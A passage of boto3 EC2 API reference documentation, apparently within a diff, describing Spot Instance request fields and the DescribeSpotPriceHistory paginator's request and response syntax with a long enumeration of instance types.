+ - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + - **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + Default: false + + - **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + - **Name** _(string) --_ + + The name of the instance profile. + + - **ImageId** _(string) --_ + + The ID of the AMI. + + - **InstanceType** _(string) --_ + + The instance type. + + - **KernelId** _(string) --_ + + The ID of the kernel. + + - **KeyName** _(string) --_ + + The name of the key pair. + + - **NetworkInterfaces** _(list) --_ + + One or more network interfaces. If you specify a network interface, you must specify subnet IDs and security group IDs using the network interface. + + - _(dict) --_ + + Describes a network interface. + + - **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + - **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + - **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + - **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + - **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + - _(string) --_ + - **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + - **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + - **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + - **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + - **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + - **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + + - **Placement** _(dict) --_ + + The placement information for the instance. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone. + + [Spot Fleet only] To specify multiple Availability Zones, separate them using commas; for example, "us-west-2a, us-west-2b". + + - **GroupName** _(string) --_ + + The name of the placement group. + + - **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for Spot Instances. + + - **RamdiskId** _(string) --_ + + The ID of the RAM disk. + + - **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instance. + + - **Monitoring** _(dict) --_ + + Describes the monitoring of an instance. + + - **Enabled** _(boolean) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + - **LaunchedAvailabilityZone** _(string) --_ + + The Availability Zone in which the request is launched. + + - **ProductDescription** _(string) --_ + + The product description associated with the Spot Instance. + + - **SpotInstanceRequestId** _(string) --_ + + The ID of the Spot Instance request. + + - **SpotPrice** _(string) --_ + + The maximum price per hour that you are willing to pay for a Spot Instance. + + - **State** _(string) --_ + + The state of the Spot Instance request. Spot status information helps track your Spot Instance requests. For more information, see [Spot status](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-bid-status.html) in the _Amazon EC2 User Guide for Linux Instances_ . + + - **Status** _(dict) --_ + + The status code and status message describing the Spot Instance request. + + - **Code** _(string) --_ + + The status code. For a list of status codes, see [Spot status codes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-bid-status.html#spot-instance-bid-status-understand) in the _Amazon EC2 User Guide for Linux Instances_ . + + - **Message** _(string) --_ + + The description for the status code. + + - **UpdateTime** _(datetime) --_ + + The date and time of the most recent status update, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + - **Tags** _(list) --_ + + Any tags assigned to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **Type** _(string) --_ + + The Spot Instance request type. + + - **ValidFrom** _(datetime) --_ + + The start date of the request, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). The request becomes active at this date and time. + + - **ValidUntil** _(datetime) --_ + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + - For a persistent request, the request remains active until the validUntil date and time is reached. Otherwise, the request remains active until you cancel it. + - For a one-time request, the request remains active until all instances launch, the request is canceled, or the validUntil date and time is reached. By default, the request is valid for 7 days from the date the request was created. + - **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. + + +_class_ EC2.Paginator.DescribeSpotPriceHistory + +paginator = client.get_paginator('describe_spot_price_history') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_spot_price_history()](#EC2.Client.describe_spot_price_history "EC2.Client.describe_spot_price_history"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSpotPriceHistory) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + AvailabilityZone='string', + DryRun=True|False, + EndTime=datetime(2015, 1, 1), + InstanceTypes=[ + 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + ], + ProductDescriptions=[ + 'string', + ], + StartTime=datetime(2015, 1, 1), + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - availability-zone - The Availability Zone for which prices should be returned. + - instance-type - The type of instance (for example, m3.medium ). + - product-description - The product description for the Spot price (Linux/UNIX | Red Hat Enterprise Linux | SUSE Linux | Windows | Linux/UNIX (Amazon VPC) | Red Hat Enterprise Linux (Amazon VPC) | SUSE Linux (Amazon VPC) | Windows (Amazon VPC) ). + - spot-price - The Spot price. The value must match exactly (or use wildcards; greater than or less than comparison is not supported). + - timestamp - The time stamp of the Spot price history, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). You can use wildcards (* and ?). Greater than or less than comparison is not supported. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **AvailabilityZone** (_string_) -- Filters the results by the specified Availability Zone. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EndTime** (_datetime_) -- The date and time, up to the current date, from which to stop retrieving the price history data, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). +- **InstanceTypes** (_list_) -- + + Filters the results by the specified instance types. + + - _(string) --_ +- **ProductDescriptions** (_list_) -- + + Filters the results by the specified basic product descriptions. + + - _(string) --_ +- **StartTime** (_datetime_) -- The date and time, up to the past 90 days, from which to start retrieving the price history data, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SpotPriceHistory': [ + { + 'AvailabilityZone': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 